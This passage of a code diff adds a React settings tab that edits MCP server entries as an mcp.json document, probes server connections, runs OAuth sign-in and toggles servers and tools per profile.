+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { TextTab } from '@/components/ui/text-tab'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { completeMcpDesktopOAuth } from '@/lib/mcp-dashboard-oauth'
+import { countEnabledTools, isToolEnabled, toggleToolInServer } from '@/lib/mcp-tool-filter'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import { $activeSessionId } from '@/store/session'
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+import { setClawCodexConfigCache, useClawCodexConfigRecord } from '../hooks/use-config-record'
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+import { DetailPane, ICON_BUTTON, MASTER_DETAIL_WIDE_COLS } from '../master-detail'
+import { PanelAddButton, PanelEmpty } from '../overlays/panel'
+import { prettyName } from '../settings/helpers'
+import { useDeepLinkHighlight } from '../settings/use-deep-link-highlight'
+
+type McpServers = Record<string, Record<string, unknown>>
+
+// The editor always speaks the ecosystem's mcp.json document format — names
+// are the JSON keys, transport is inferred from `command` vs `url` — so any
+// README's "add this to your mcp.json" snippet pastes verbatim. Storage stays
+// the config.yaml `mcp_servers` map (CLI/TUI untouched).
+const STARTER_ENTRY = { command: 'npx', args: ['-y', '@modelcontextprotocol/server-filesystem', '/path/to/dir'] }
+
+const pretty = (value: unknown) => JSON.stringify(value, null, 2)
+const wrapDoc = (entries: McpServers) => pretty({ mcpServers: entries })
+
+const isServerShape = (value: Record<string, unknown>) =>
+  typeof value.command === 'string' || typeof value.url === 'string'
+
+// Cursor/Claude write `type`; ClawCodex reads `transport`. Normalize on the way
+// in so pasted configs behave identically under the CLI/TUI loader.
+function normalizeEntry(entry: Record<string, unknown>): Record<string, unknown> {
+  if (typeof entry.type === 'string' && entry.transport === undefined) {
+    const { type, ...rest } = entry
+
+    return { ...rest, transport: type }
+  }
+
+  return entry
+}
+
+/** Accepts `{"mcpServers": {...}}` (ecosystem), a bare name→config map, or throws. */
+function parseServersDoc(raw: string): McpServers {
+  const parsed = JSON.parse(raw) as unknown
+
+  if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+    throw new Error('Expected a JSON object')
+  }
+
+  const doc = parsed as Record<string, unknown>
+
+  if (isServerShape(doc)) {
+    throw new Error('Wrap the server in {"mcpServers": {"name": …}} so it has a name')
+  }
+
+  const wrapper = doc.mcpServers ?? doc.mcp_servers
+
+  const map =
+    wrapper && typeof wrapper === 'object' && !Array.isArray(wrapper) ? (wrapper as McpServers) : (doc as McpServers)
+
+  return Object.fromEntries(Object.entries(map).map(([name, entry]) => [name, normalizeEntry(entry)]))
+}
+
+function getServers(config: ClawCodexConfigRecord | null): McpServers {
+  const raw = config?.mcp_servers
+
+  return raw && typeof raw === 'object' && !Array.isArray(raw) ? (raw as McpServers) : {}
+}
+
+// The runtime gate is `enabled: false` — the same flag `clawcodex mcp` and the
+// agent's MCP loader read.
+const serverEnabled = (server: Record<string, unknown>) => server.enabled !== false
+
+const NEEDS_AUTH_RE = /\b(401|unauthorized|forbidden|invalid[_ ]?token|authentication|oauth)\b/i
+
+// Shared cache for the Nous-approved catalog — feeds both description enrichment
+// and the Catalog install view; invalidated after an install.
+const MCP_CATALOG_KEY = ['mcp-catalog'] as const
+
+// Probe results outlive the component: each probe is a REAL connect/disconnect
+// (stdio servers get spawned!), so re-entering the page must not re-probe the
+// fleet. Manual refresh / auth / toggle-on bypass the cache.
+const PROBE_TTL_MS = 5 * 60_000
+const probeCache = new Map<string, { at: number; result: McpTestResult }>()
+
+// A probe is only valid for one (profile, exact-config) pair. Keying the cache
+// by a fingerprint of the connection-relevant fields — plus the active profile
+// — means a same-name edit (url/command/env change) or a same-named server in
+// another profile MISSES the cache instead of showing a stale probe.
+const serverFingerprint = (server: Record<string, unknown>): string =>
+  JSON.stringify([server.url, server.command, server.args, server.env, server.headers, server.transport, server.auth])
+
+const probeKey = (name: string, server: Record<string, unknown> | undefined): string =>
+  `${normalizeProfileKey($activeGatewayProfile.get())}::${name}::${serverFingerprint(server ?? {})}`
+
+type Probe = McpTestResult | 'probing'
+
+type ServerStatus = 'off' | 'probing' | 'ok' | 'needs-auth' | 'error' | 'unknown'
+
+function statusOf(server: Record<string, unknown>, probe: Probe | undefined): ServerStatus {
+  if (!serverEnabled(server)) {
+    return 'off'
+  }
+
+  if (probe === 'probing') {
+    return 'probing'
+  }
+
+  if (!probe) {
+    return 'unknown'
+  }
+
+  if (probe.ok) {
+    return 'ok'
+  }
+
+  return NEEDS_AUTH_RE.test(probe.error ?? '') ? 'needs-auth' : 'error'
+}
+
+const STATUS_DOT: Record<ServerStatus, string> = {
+  ok: 'bg-emerald-500',
+  error: 'bg-red-500',
+  'needs-auth': 'bg-amber-500',
+  probing: 'animate-pulse bg-foreground/40',
+  off: 'bg-foreground/20',
+  unknown: 'bg-foreground/20'
+}
+
+// "12 tools enabled" / "25 tools, 1 prompts, 103 resources enabled" — only
+// the capabilities the server actually has. When a `server` config is passed,
+// the tool count reflects the per-tool include/exclude filter (what's actually
+// registered), not the raw discovered count.
+function capabilitySummary(
+  m: Translations['settings']['mcp'],
+  probe: McpTestResult,
+  server?: Record<string, unknown>
+): string {
+  const toolCount = server
+    ? countEnabledTools(
+        server,
+        probe.tools.map(tool => tool.name)
+      )
+    : probe.tools.length
+
+  return m.capabilitySummary(toolCount, probe.prompts ?? 0, probe.resources ?? 0)
+}
+
+function statusLine(
+  m: Translations['settings']['mcp'],
+  status: ServerStatus,
+  probe: Probe | undefined,
+  server?: Record<string, unknown>
+): string {
+  switch (status) {
+    case 'ok':
+      return capabilitySummary(m, probe as McpTestResult, server)
+
+    case 'probing':
+      return m.statusConnecting
+
+    case 'needs-auth':
+      return m.statusNeedsAuth
+
+    case 'error':
+      return m.statusError
+
+    case 'off':
+      return m.statusOff
+
+    default:
+      return ''
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Cursor → server-block mapping. A tolerant character walker (not JSON.parse —
+// it must work mid-edit) that finds each server's key+object range inside the
+// mcpServers container, so the editor cursor selects a server and the block
+// can be highlighted.
+// ---------------------------------------------------------------------------
+
+interface ServerBlock {
+  from: number
+  name: string
+  to: number
+}
+
+function scanServerBlocks(text: string): ServerBlock[] {
+  const skipString = (index: number): number => {
+    let i = index + 1
+
+    while (i < text.length) {
+      if (text[i] === '\\') {
+        i += 2
+      } else if (text[i] === '"') {
+        return i + 1
+      } else {
+        i++
+      }
+    }
+
+    return i
+  }
+
+  // Container: the object after "mcpServers"/"mcp_servers", else the doc root.
+  let start = -1
+  const wrapper = /"mcpServers"|"mcp_servers"/.exec(text)
+
+  if (wrapper) {
+    let i = wrapper.index + wrapper[0].length
+
+    while (i < text.length && text[i] !== '{') {
+      i++
+    }
+
+    start = i
+  } else {
+    start = text.indexOf('{')
+  }
+
+  if (start < 0 || text[start] !== '{') {
+    return []
+  }
+
+  const blocks: ServerBlock[] = []
+  let i = start + 1
+
+  while (i < text.length) {
+    const ch = text[i]
+
+    if (ch === '}') {
+      break
+    }
+
+    if (ch !== '"') {
+      i++
+
+      continue
+    }
+
+    const keyStart = i
+    const keyEnd = skipString(i)
+    const name = text.slice(keyStart + 1, keyEnd - 1)
+    i = keyEnd
+
+    while (i < text.length && text[i] !== ':') {
+      i++
+    }
+
+    i++
+
+    while (i < text.length && /\s/.test(text[i])) {
+      i++
+    }
+
+    if (text[i] === '{') {
+      let depth = 0
+      let j = i
+
+      while (j < text.length) {
+        const c = text[j]
+
+        if (c === '"') {
+          j = skipString(j)
+
+          continue
+        }
+
+        if (c === '{') {
+          depth++
+        } else if (c === '}') {
+          depth--
+
+          if (depth === 0) {
+            j++
+
+            break
+          }
+        }
+
+        j++
+      }
+
+      blocks.push({ from: keyStart, name, to: j })
+      i = j
+    } else {
+      // Non-object value — skip to the next sibling.
+      while (i < text.length && text[i] !== ',' && text[i] !== '}') {
+        if (text[i] === '"') {
+          i = skipString(i)
+
+          continue
+        }
+
+        i++
+      }
+    }
+  }
+
+  return blocks
+}
+
+export function McpTab({ gateway }: { gateway: ClawCodexGateway | null }) {
+  const { t } = useI18n()
+  const m = t.settings.mcp
+  const activeSessionId = useStore($activeSessionId)
+
+  // Shared config cache (see use-config-record): revisiting the tab paints the
+  // cached record instantly; mutations write through `setConfig` and stay
+  // visible to the other settings surfaces.
+  const {
+    data: config,
+    isLoading: configLoading,
+    isError: configFailed,
+    error: configError,
+    refetch: refetchConfig,
+    dataUpdatedAt: configUpdatedAt,
+    errorUpdatedAt: configErroredAt
+  } = useClawCodexConfigRecord()
+
+  const setConfig = setClawCodexConfigCache
+
+  // True from a profile switch until the config query resettles for the new
+  // profile. Until then `config` (and thus `servers`) still holds profile A's
+  // data, so any persist would write A's server list into B — block mutations.
+  const [profilePending, setProfilePending] = useState(false)
+  const staleConfigStamp = useRef<null | number>(null)
+  const staleErrorStamp = useRef<null | number>(null)
+
+  const [saving, setSaving] = useState(false)
+  const [probes, setProbes] = useState<Record<string, Probe>>({})
+  const probesRef = useRef(probes)
+  probesRef.current = probes
+
+  // Blocks the browser until an OAuth flow lands a token; also reset on profile
+  // switch, so declared up here alongside the other per-profile view state.
+  const [authing, setAuthing] = useState<null | string>(null)
+
+  // Master document draft. `docVersion` remounts the editor when the draft is
+  // regenerated programmatically (list-side mutations); `dirty` guards user
+  // edits from being clobbered by those regenerations.
+  const [draft, setDraft] = useState('')
+  const [dirty, setDirty] = useState(false)
+  const [docVersion, setDocVersion] = useState(0)
+  const [logSource, setLogSource] = useState<'stdio' | 'agent'>('stdio')
+
+  // Selection IS the editor cursor: whichever server block contains it is the
+  // configured server on the left. Cursor outside every block → the list.
+  const editorApi = useRef<CodeEditorApi | null>(null)
+  const [cursor, setCursor] = useState(0)
+  const blocks = useMemo(() => scanServerBlocks(draft), [draft])
+
+  const activeBlock = useMemo(
+    () => blocks.find(block => cursor >= block.from && cursor <= block.to) ?? null,
+    [blocks, cursor]
+  )
+
+  const selected = activeBlock?.name ?? null
+
+  const focusServer = (name: string) => {
+    const block = blocks.find(b => b.name === name)
+
+    if (block) {
+      // Land just inside the key so the block claims the cursor.
+      editorApi.current?.setCursor(block.from + 1)
+      setCursor(block.from + 1)
+    }
+  }
+
+  const servers = useMemo(() => getServers(config ?? null), [config])
+
+  // Config/document order, not alphabetical — the list mirrors mcp.json.
+  const names = useMemo(() => Object.keys(servers), [servers])
+
+  // Left column view: the configured fleet, or the Nous-approved catalog to
+  // install from. Both share one cached catalog fetch (also feeds description
+  // enrichment below), so switching between them never re-requests.
+  const [leftView, setLeftView] = useState<'catalog' | 'servers'>('servers')
+
+  // Key by active profile — installed/enabled badges are per-profile, so sharing
+  // one cache across profiles would flash the previous profile's state on switch.
+  const catalogQuery = useQuery({
+    queryKey: [...MCP_CATALOG_KEY, normalizeProfileKey(useStore($activeGatewayProfile))],
+    queryFn: getMcpCatalog,
+    staleTime: 5 * 60_000
+  })
+
+  const catalog = catalogQuery.data?.entries ?? []
+
+  const descriptionFor = (serverName: string, server: Record<string, unknown>): null | string => {
+    const lower = serverName.toLowerCase()
+
+    const match = catalog.find(
+      entry =>
+        entry.name.toLowerCase() === lower ||
+        (entry.url && entry.url === server.url) ||
+        (entry.command && entry.command === server.command)
+    )
+
+    return match?.description ?? null
+  }
+
+  const resetDraft = (entries: McpServers) => {
+    setDraft(wrapDoc(entries))
+    setDirty(false)
+    setDocVersion(version => version + 1)
+  }
+
+  // Mirror a list-side mutation into a dirty draft without losing the user's
+  // other edits. Unparseable drafts are left alone — save resolves the race.
+  const patchDraft = (mutate: (doc: McpServers) => McpServers) => {
+    try {
+      setDraft(wrapDoc(mutate(parseServersDoc(draft))))
+      setDocVersion(version => version + 1)
+    } catch {
+      // Draft is mid-edit / invalid JSON; the user's text wins until save.
+    }
+  }
+
+  // Seed the editor draft from config exactly once, the first time it lands.
+  // Background refetches thereafter update the list but must not clobber an
+  // in-progress edit — the draft is the user's until they save or reset.
+  const draftSeeded = useRef(false)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    // profilePending: config still holds the PREVIOUS profile's record right
+    // after a switch — seeding from it would latch the wrong profile's doc.
+    if (!config || profilePending) {
+      return
+    }
+
+    if (!draftSeeded.current) {
+      draftSeeded.current = true
+      resetDraft(getServers(config))
+
+      return
+    }
+
+    if (dirty || names.length === 0) {
+      return
+    }
+
+    // Heal the early-boot race: the first config snapshot can land before the
+    // backend has mcp_servers assembled, seeding (and latching) an empty doc
+    // while later refetches fill the list — saving would then wipe the real
+    // servers. A PRISTINE empty draft reseeds when servers arrive; any user
+    // edit (dirty) still always wins.
+    try {
+      if (Object.keys(parseServersDoc(draft)).length === 0) {
+        resetDraft(servers)
+      }
+    } catch {
+      // Mid-edit / invalid JSON — the user's text wins.
+    }
+  }, [config, dirty, draft, names, profilePending, servers])
+
+  // Bumped on every profile switch. Async probe/auth completions capture the
+  // epoch at call time and bail if it changed, so a slow profile-A request can't
+  // write its result into profile B's state after the user switched.
+  const profileEpoch = useRef(0)
+
+  // A profile switch invalidates the config query (see store/profile.ts), which
+  // refetches the new backend's mcp.json. Reset ALL per-profile view state — the
+  // draft (incl. a dirty one, so profile A's edits can't be saved into B), its
+  // seed latch, probes, and cursor — so everything reseeds for the new profile.
+  // The probe cache is already profile-keyed, so this just forces a re-probe.
+  useOnProfileSwitch(() => {
+    profileEpoch.current += 1
+    draftSeeded.current = false
+    setProbes({})
+    setCursor(0)
+    setAuthing(null)
+    setDirty(false)
+    setDraft('')
+    setDocVersion(version => version + 1)
+    // Mark stale until the config query replaces profile A's data — guards
+    // sidebar mutations from persisting A's server list into B mid-refetch.
+    staleConfigStamp.current = configUpdatedAt
+    staleErrorStamp.current = configErroredAt
+    setProfilePending(true)
+  })
+
+  // Clear once the config query settles for the new profile: dataUpdatedAt bumps
+  // on a fresh success, errorUpdatedAt on a fresh failure. Releasing on error too
+  // means a failed refetch surfaces the retry UI instead of leaving mutations
+  // silently no-op forever.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (
+      profilePending &&
+      staleConfigStamp.current !== null &&
+      (configUpdatedAt !== staleConfigStamp.current || configErroredAt !== staleErrorStamp.current)
+    ) {
+      setProfilePending(false)
+      staleConfigStamp.current = null
+      staleErrorStamp.current = null
+    }
+  }, [profilePending, configUpdatedAt, configErroredAt])
+
+  useDeepLinkHighlight({
+    block: 'nearest',
+    elementId: serverName => `mcp-server-${serverName}`,
+    onResolve: focusServer,
+    param: 'server',
+    ready: serverName => blocks.some(block => block.name === serverName)
+  })
+
+  const runProbe = async (serverName: string) => {
+    const epoch = profileEpoch.current
+    const key = probeKey(serverName, servers[serverName])
+    setProbes(current => ({ ...current, [serverName]: 'probing' }))
+
+    try {
+      const result = await testMcpServer(serverName)
+
+      // Drop the result if the profile changed mid-probe — it belongs to A.
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      probeCache.set(key, { at: Date.now(), result })
+      setProbes(current => ({ ...current, [serverName]: result }))
+    } catch (err) {
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      const result = { ok: false, error: err instanceof Error ? err.message : String(err), tools: [] }
+      probeCache.set(key, { at: Date.now(), result })
+      setProbes(current => ({ ...current, [serverName]: result }))
+    }
+  }
+
+  // First-class OAuth: opens the system browser, blocks until the flow lands a
+  // token (verified on disk — a friendly tools/list is not proof), then the
+  // auth result doubles as the probe (it carries the tool list).
+  const authenticate = async (serverName: string) => {
+    const epoch = profileEpoch.current
+    setAuthing(serverName)
+    setProbes(current => ({ ...current, [serverName]: 'probing' }))
+
+    try {
+      const flow = await completeMcpDesktopOAuth({
+        serverName,
+        start: authMcpServer,
+        status: getMcpOAuthFlow,
+        openExternal: url => window.clawcodexDesktop.openExternal(url)
+      })
+
+      const result: McpTestResult = { ok: true, tools: flow.tools ?? [] }
+
+      // Bail if the user switched profiles mid-flow — this result is profile A's.
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      setProbes(current => ({ ...current, [serverName]: result }))
+      // Cache under the POST-auth fingerprint (auth: oauth) on success — that's
+      // the config the mount effect will read back, so it hits this entry.
+      const probedConfig = result.ok ? { ...servers[serverName], auth: 'oauth' } : servers[serverName]
+      probeCache.set(probeKey(serverName, probedConfig), { at: Date.now(), result })
+
+      if (result.ok) {
+        // The endpoint persisted `auth: oauth` — mirror it locally.
+        const nextServers = { ...servers, [serverName]: { ...servers[serverName], auth: 'oauth' } }
+        setConfig(current => (current ? { ...current, mcp_servers: nextServers } : current))
+
+        // Mirror `auth: oauth` into the editor too. If we only reset a clean
+        // draft, a dirty draft keeps the pre-auth text and the next Save would
+        // drop the freshly-persisted auth field — so patch the dirty draft in
+        // place instead of clobbering the user's other edits.
+        if (dirty) {
+          patchDraft(doc => (doc[serverName] ? { ...doc, [serverName]: { ...doc[serverName], auth: 'oauth' } } : doc))
+        } else {
+          resetDraft(nextServers)
+        }
+
+        notify({
+          kind: 'success',
+          title: m.authenticatedTitle,
+          message: m.authenticatedMessage(serverName, result.tools.length)
+        })
+        void silentReload()
+      } else if (result.error) {
+        notifyError(new Error(result.error), serverName)
+      }
+    } catch (err) {
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      setProbes(current => ({
+        ...current,
+        [serverName]: { ok: false, error: err instanceof Error ? err.message : String(err), tools: [] }
+      }))
+      notifyError(err, serverName)
+    } finally {
+      if (profileEpoch.current === epoch) {
+        setAuthing(null)
+      }
+    }
+  }
+
+  // It should just know: probe enabled servers as config arrives — but through
+  // the cache, so revisiting the page doesn't respawn/reconnect the fleet.
+  useEffect(() => {
+    for (const [serverName, server] of Object.entries(servers)) {
+      if (!serverEnabled(server) || probesRef.current[serverName] !== undefined) {
+        continue
+      }
+
+      const cached = probeCache.get(probeKey(serverName, server))
+
+      if (cached && Date.now() - cached.at < PROBE_TTL_MS) {
+        setProbes(current => ({ ...current, [serverName]: cached.result }))
+      } else {
+        void runProbe(serverName)
+      }
+    }
+    // Re-run only when the server set changes; runProbe is recreated every
+    // render and adding it would re-probe the fleet on every keystroke.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [servers])
+
+  // Config writes reach live sessions immediately — no manual "Reload MCP".
+  const silentReload = async () => {
+    if (!gateway) {
+      return
+    }
+
+    try {
+      await gateway.request('reload.mcp', { confirm: true, session_id: activeSessionId ?? undefined })
+    } catch (err) {
+      notifyError(err, m.reloadFailed)
+    }
+  }
+
+  // Whole-map replace (NOT saveClawCodexConfig, which deep-merges and so can never
+  // delete a server, drop `enabled: false`, or remove a nested field). Only
+  // after the replace lands do we write the cache through + reload live sessions.
+  // Returns false when the profile switched mid-save: the write hit profile A's
+  // backend (correct), but the client-side cache/editor now belong to B, so the
+  // caller must skip its post-await writes.
+  const persist = async (nextServers: McpServers): Promise<boolean> => {
+    const epoch = profileEpoch.current
+    await saveMcpServers(nextServers)
+
+    if (profileEpoch.current !== epoch) {
+      return false
+    }
+
+    setConfig(current => ({ ...current, mcp_servers: nextServers }))
+    void silentReload()
+
+    return true
+  }
+
+  // A catalog install wrote a new server into config.yaml on the backend —
+  // refresh the catalog (installed state) and the config, then RECONCILE THE
+  // EDITOR DRAFT with the fresh servers. Without this a dirty draft (or even a
+  // clean one the seed never refreshes) would omit the new server, and the next
+  // whole-map Save would silently drop it.
+  const onCatalogInstalled = async () => {
+    void catalogQuery.refetch()
+    const { data } = await refetchConfig()
+    const nextServers = getServers(data ?? null)
+
+    if (dirty) {
+      // Keep the user's in-progress edits (doc wins), add any server the install
+      // introduced that the draft doesn't have yet.
+      patchDraft(doc => ({ ...nextServers, ...doc }))
+    } else {
+      resetDraft(nextServers)
+    }
+
+    void silentReload()
+  }
+
+  const withEnabled = (server: Record<string, unknown>, enabled: boolean) => {
+    const next = { ...server }
+
+    if (enabled) {
+      delete next.enabled
+    } else {
+      next.enabled = false
+    }
+
+    return next
+  }
+
+  const setServerEnabled = async (serverName: string, enabled: boolean) => {
+    if (profilePending) {
+      return
+    }
+
+    const next = withEnabled(servers[serverName], enabled)
+
+    try {
+      if (!(await persist({ ...servers, [serverName]: next }))) {
+        return
+      }
+
+      if (dirty) {
+        patchDraft(doc => (doc[serverName] ? { ...doc, [serverName]: withEnabled(doc[serverName], enabled) } : doc))
+      } else {
+        resetDraft({ ...servers, [serverName]: next })
+      }
+
+      if (enabled) {
+        void runProbe(serverName)
+      }
+    } catch (err) {
+      notifyError(err, m.saveFailed)
+    }
+  }
+
+  // Per-tool gating writes the server's `tools.include`/`tools.exclude` and
+  // persists like any other config change (immediate reload of live sessions).
+  // The probe still lists every discovered tool; the filter decides which ones
+  // the agent actually registers.
+  const toggleTool = async (serverName: string, toolName: string) => {
+    const base = servers[serverName]
+
+    if (!base || profilePending) {
+      return
+    }
+
+    const next = toggleToolInServer(base, toolName)
+
+    try {
+      if (!(await persist({ ...servers, [serverName]: next }))) {
+        return
+      }
+
+      if (dirty) {
+        patchDraft(doc =>
+          doc[serverName] ? { ...doc, [serverName]: toggleToolInServer(doc[serverName], toolName) } : doc
+        )
+      } else {
+        resetDraft({ ...servers, [serverName]: next })
+      }
+    } catch (err) {
+      notifyError(err, m.saveFailed)
+    }
+  }
+
+  const removeServer = async (serverName: string) => {
+    if (profilePending) {
+      return
+    }
+
+    setSaving(true)
+
+    try {
+      const next = { ...servers }
+      delete next[serverName]
+
+      if (!(await persist(next))) {
+        return
+      }
+
+      if (dirty) {
+        patchDraft(doc => {
+          const patched = { ...doc }
+          delete patched[serverName]
+
+          return patched
+        })
+      } else {
+        resetDraft(next)
+      }
+
+      setCursor(0)
+    } catch (err) {
+      notifyError(err, m.removeFailed)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  // "+" seeds a starter entry into the document (unique key) and marks it
+  // dirty — naming happens in the editor, like every other mcp.json.
+  const addServer = () => {
+    if (profilePending) {
+      return
+    }
+
+    let base: McpServers
+
+    try {
+      base = parseServersDoc(draft)
+    } catch {
+      base = { ...servers }
+    }
+
+    let key = 'my-server'
+
+    for (let i = 2; key in base; i++) {
+      key = `my-server-${i}`
+    }
+
+    const nextDraft = wrapDoc({ ...base, [key]: STARTER_ENTRY })
+    setDraft(nextDraft)
+    setDirty(true)
+    setDocVersion(version => version + 1)
+
+    // Focus the fresh block once the editor remounts with the new doc.
+    const from = nextDraft.indexOf(`"${key}"`)
+
+    if (from >= 0) {
+      requestAnimationFrame(() => {
+        editorApi.current?.setCursor(from + 1)
+        setCursor(from + 1)
+      })
+    }
+  }
+
+  const saveDoc = async () => {
+    if (profilePending) {
+      return
+    }
+
+    let entries: McpServers
+
+    try {
+      entries = parseServersDoc(draft)
+    } catch (err) {
+      notifyError(err, m.invalidJson)
+
+      return
+    }
+
+    setSaving(true)
+
+    const prevServers = servers
+
+    try {
+      if (!(await persist(entries))) {
+        return
+      }
+
+      resetDraft(entries)
+      // Keep only probes for servers that survived AND kept the same config;
+      // removed OR edited entries drop their probe so the mount effect re-probes
+      // the new shape (the cache also misses on the changed fingerprint).
+      setProbes(current =>
+        Object.fromEntries(
+          Object.entries(current).filter(
+            ([name]) =>
+              name in entries && serverFingerprint(entries[name]) === serverFingerprint(prevServers[name] ?? {})
+          )
+        )
+      )
+      notify({ kind: 'success', title: m.savedTitle, message: m.savedMessage('mcp.json') })
+    } catch (err) {
+      notifyError(err, m.saveFailed)
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  // Cached data paints instantly; a spinner only ever shows on the first-ever
+  // load, and a failed load gets a real retry — never a silent blank pane.
+  if (configFailed && !config) {
+    return (
+      <div className="flex h-full min-h-0 flex-1 items-center justify-center p-6">
+        <ErrorBanner className="max-w-sm">
+          <span className="flex flex-col gap-2">
+            {configError instanceof Error ? configError.message : m.failedLoad}
+            <Button className="self-start" onClick={() => void refetchConfig()} size="xs" variant="text">
+              {m.reload}
+            </Button>
+          </span>
+        </ErrorBanner>
+      </div>
+    )
+  }
+
+  if (!config) {
+    return <PageLoader className="min-h-24" label={configLoading ? m.loading : t.skills.loading} />
+  }
+
+  // Zero servers and a pristine doc: one centered invitation — with a path into
+  // the catalog (kept out when the user is already browsing it).
+  if (Object.keys(servers).length === 0 && !dirty && leftView === 'servers') {
+    return (
+      <div className="flex h-full min-h-0 flex-1">
+        <PanelEmpty
+          action={
+            <span className="flex items-center gap-2">
+              <Button onClick={addServer} size="sm">
+                {m.newServer}
+              </Button>
+              <Button onClick={() => setLeftView('catalog')} size="sm" variant="text">
+                {m.tabCatalog}
+              </Button>
+            </span>
+          }
+          description={m.emptyDesc}
+          icon="plug"
+          title={m.emptyTitle}
+        />
+      </div>
+    )
+  }
+
+  // Selection may reference an unsaved block (freshly pasted) — fall back to
+  // the draft's parsed entry so the config pane can still describe it.
+  const savedEntry = selected ? servers[selected] : undefined
+
+  const draftEntry = (() => {
+    if (!selected || savedEntry) {
+      return undefined
+    }
+
+    try {
+      return parseServersDoc(draft)[selected]
+    } catch {
+      return undefined
+    }
+  })()
+
+  const activeEntry = savedEntry ?? draftEntry
+
+  return (
+    <div className={cn('grid h-full min-h-0 grid-cols-1', MASTER_DETAIL_WIDE_COLS)}>
+      {/* LEFT: the focused block's server config, or the fleet list / catalog. */}
+      <aside className="flex min-h-0 flex-col overflow-hidden border-r border-(--ui-stroke-quaternary)">
+        {leftView === 'servers' && selected && activeEntry ? (
+          <ServerConfig
+            authing={authing === selected}
+            description={descriptionFor(selected, activeEntry)}
+            entry={activeEntry}
+            name={selected}
+            onAuthenticate={() => void authenticate(selected)}
+            onBack={() => setCursor(0)}
+            onProbe={() => void runProbe(selected)}
+            onRemove={() => void removeServer(selected)}
+            onToggle={checked => void setServerEnabled(selected, checked)}
+            onToggleTool={toolName => void toggleTool(selected, toolName)}
+            probe={probes[selected]}
+            saved={savedEntry !== undefined}
+            saving={saving}
+          />
+        ) : (
+          <div className="flex min-h-0 flex-1 flex-col p-2">
+            {/* Geometry mirrors ListStrip (mb-1 h-6 pl-2) so these tabs land on
+                the exact line the sort link occupies in the Skills/Tools views. */}
+            <div className="mb-1 flex h-6 shrink-0 items-center gap-3 pl-2 pr-1">
+              {(['servers', 'catalog'] as const).map(view => (
+                <TextTab
+                  active={leftView === view}
+                  className="h-6 px-0 text-[0.72rem]"
+                  key={view}
+                  onClick={() => setLeftView(view)}
+                >
+                  {view === 'servers' ? m.tabServers : m.tabCatalog}
+                </TextTab>
+              ))}
+            </div>
+            <div className="min-h-0 flex-1 overflow-y-auto overscroll-contain [scrollbar-gutter:stable]">
+              {leftView === 'catalog' ? (
+                <McpCatalog entries={catalog} loading={catalogQuery.isLoading} onInstalled={onCatalogInstalled} />
+              ) : (
+                <>
+                  {names.map(serverName => {
+                    const server = servers[serverName]
+                    const status = statusOf(server, probes[serverName])
+
+                    return (
+                      <McpRow
+                        active={false}
+                        busy={saving}
+                        enabled={serverEnabled(server)}
+                        key={serverName}
+                        name={serverName}
+                        onProbe={() => void runProbe(serverName)}
+                        onRemove={() => void removeServer(serverName)}
+                        onSelect={() => focusServer(serverName)}
+                        onToggle={checked => void setServerEnabled(serverName, checked)}
+                        status={status}
+                        statusText={statusLine(m, status, probes[serverName], server)}
+                      />
+                    )
+                  })}
+                  <PanelAddButton label={m.newServer} onClick={addServer} />
+                </>
+              )}
+            </div>
+          </div>
+        )}
+      </aside>
+
+      {/* RIGHT: the mcp.json editor, logs hard-pinned below. */}
+      <main className="flex min-h-0 flex-col overflow-hidden">
+        <JsonDocumentEditor
+          apiRef={editorApi}
+          disabled={saving}
+          filePath="mcp.json"
+          header={
+            <>
+              mcp.json
+              {dirty && <span aria-hidden className="size-1.5 rounded-full bg-current/60" />}
+            </>
+          }
+          highlight={activeBlock ? { from: activeBlock.from, to: activeBlock.to } : null}
+          initialValue={draft}
+          onChange={next => {
+            setDraft(next)
+            setDirty(true)
+          }}
+          onCursorChange={setCursor}
+          onFormatJsonError={error => notifyError(new Error(error), m.invalidJson)}
+          onSave={() => void saveDoc()}
+          remountKey={docVersion}
+          trailing={
+            <Button disabled={saving || !dirty} onClick={() => void saveDoc()} size="xs">
+              {saving ? t.common.saving : t.common.save}
+            </Button>
+          }
+        />
+        <DetailPane
+          actions={
+            <span className="flex items-center gap-1.5">
+              {(['stdio', 'agent'] as const).map(kind => (
+                <TextTab
+                  active={logSource === kind}
+                  className="h-5 px-0.5 text-[0.65rem]"
+                  key={kind}
+                  onClick={() => setLogSource(kind)}
+                >
+                  {kind}
+                </TextTab>
+              ))}
+            </span>
+          }
+          defaultHeight={176}
+          id="mcp-logs"
+          title={
+            <span className="text-[0.68rem] font-normal text-muted-foreground/60">
+              {selected && savedEntry ? selected : m.allServers}
+            </span>
+          }
+        >
+          <McpLogs emptyLabel={m.noOutput} server={selected && savedEntry ? selected : null} source={logSource} />
+        </DetailPane>
+      </main>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Left column: one server's config (mirrors the block under the cursor).
+// ---------------------------------------------------------------------------
+
+function ServerConfig({
+  authing,
+  description,
+  entry,
+  name,
+  onAuthenticate,
+  onBack,
+  onProbe,
+  onRemove,
+  onToggle,
+  onToggleTool,
+  probe,
+  saved,
+  saving
+}: {
+  authing: boolean
+  description: null | string
+  entry: Record<string, unknown>
+  name: string
+  onAuthenticate: () => void
+  onBack: () => void
+  onProbe: () => void
+  onRemove: () => void
+  onToggle: (checked: boolean) => void
+  onToggleTool: (toolName: string) => void
+  probe: Probe | undefined
+  saved: boolean
+  saving: boolean
+}) {
+  const { t } = useI18n()
+  const m = t.settings.mcp
